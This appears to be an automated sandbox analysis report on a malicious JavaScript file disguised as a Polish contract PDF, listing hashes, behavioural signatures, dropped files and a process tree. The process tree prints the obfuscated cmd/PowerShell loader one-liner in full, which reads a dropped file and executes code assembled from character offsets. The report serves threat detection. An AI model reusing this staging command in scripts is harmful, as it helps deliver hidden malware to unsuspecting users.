Analysis
- user interaction
yes - max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 13:02
Static task
static1
Behavioral task
behavioral1
Sample
PLIK UMOWY-pdf.js
Resource
win10v2004-20260513-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
PLIK UMOWY-pdf.js
Resource
win11ltsc2024-20260709-en
11 signatures
150 seconds
General
- Target PLIK UMOWY-pdf.js
- Size 39KB
- Sample260804-p998aaxvbw
- SHA256 0046ec45bc6c207c5cfb99bcf5d52c34b6a6e577e0dc621da8ab9da71228b517
- MD5 d114874d48b9b4069d8c8da0d4ca6a88
- SHA1 5cc8f49ece05472c4edf0a1a6d4c4e87a33193af
- SHA512 669eea2d57b0aa299952a857d52b1ad800808b6dd2fa80955a2be3b4faf9b9596070ec99339964890eac969ebabfcd6b8dc8ecd26e931bea4bbf40e654ae94f6
- SSDEEP 768:gvcDsClM/1HFUWubmf9VomoNnN/1BYj4fkirprnlYFClss4h8:Rs6M/5FLwmf4pYj4fZrtlYSz
- TLSH T1F703F664B71D153B0A45A6CCBB6EC74188F643980969F171B2AFCB49B704E8CC2F8D5E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 8 4008 powershell.exe 27 4008 powershell.exe 32 4008 powershell.exe 38 4008 powershell.exe 59 4008 powershell.exe 66 4008 powershell.exe 72 4008 powershell.exe 79 4008 powershell.exe 80 4008 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation wscript.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
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pid Process 4008 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5012 cmd.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4008 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 940 wrote to memory of 4408 940 wscript.exe 85 PID 4564 wrote to memory of 5012 4564 explorer.exe 87 PID 5012 wrote to memory of 4008 5012 cmd.exe 89
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\PLIK UMOWY-pdf.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:940 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Tautomeral.lnk"2⤵PID:4408
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c START "Bifagsstudiet" /min /HIGH powershell.exe -NOLOGO -COMMAND "$Rombudding21='/app'+'data';$Udsaltningerne=gc ($home+$Rombudding21+'/local/Menneskeforagtens');$Dumbfounder=$Udsaltningerne[5416]+$Udsaltningerne[5417]+$Udsaltningerne[5418]; . ($Dumbfounder) $Udsaltningerne"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NOLOGO -COMMAND "$Rombudding21='/app'+'data';$Udsaltningerne=gc ($home+$Rombudding21+'/local/Menneskeforagtens');$Dumbfounder=$Udsaltningerne[5416]+$Udsaltningerne[5417]+$Udsaltningerne[5418]; . ($Dumbfounder) $Udsaltningerne"3⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4008
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Tautomeral.lnk
- Size 1KB
- SHA256 87b1713d33e5329500d1a078105d98b3d8577bb8aa9d4b133009d592242f5d28
- MD5 7e679e96d75dcdd3081670833dc1fcfc
- SHA1 1a18f590decd59c4890523035d4a210f634fe81a
- SHA512 e74a4498b90b0a268f4483f41ed68cb6cb5e556eb953e32ed8ecd00dd5aa577d57ec510dd2008e0f8721c463c6fe279d3307564c33433371517aff1b949913bb
- TLSH T1EB2127184AD9131CF6F38F38E4BD6355D86BBC03E9625A0D019456891DF2311AC65F7F
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rzz3itv0.jxb.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\appdata\local\Menneskeforagtens
- Size 5KB
- SHA256 72be4d6d62e9a3e8b1aa0b5588b01063851622bca29fa2548426094d83e04bac
- MD5 cac68fe11600ac1541a314b075678d53
- SHA1 92f9cb1c29b2d1984109d9fd8f0b4453008a595c
- SHA512 14a54aa3cc2e58f821b598c10f492263bacc4a8fec4a24e7aad585b18ac6cecf7d261fb38e6418eac8e7fb061ed3d7c0f920ee5793dc80c867ceba511b0533d7
- SSDEEP 96:dBCiDK0CWlax009pYda+n3ekX/sc4/Bp8C9xXmfyZbbvcp9FFMmneu8gerIfa/c:/CD0CXx0h/sRz1XcyZMxqmninri
- TLSH T191B1B5779368E06C9482CA607429CC08947837F59D745D09B6F88A4CBCA3FC9C278AE8
- MD5 SHA1 SHA512 SSDEEP TLSH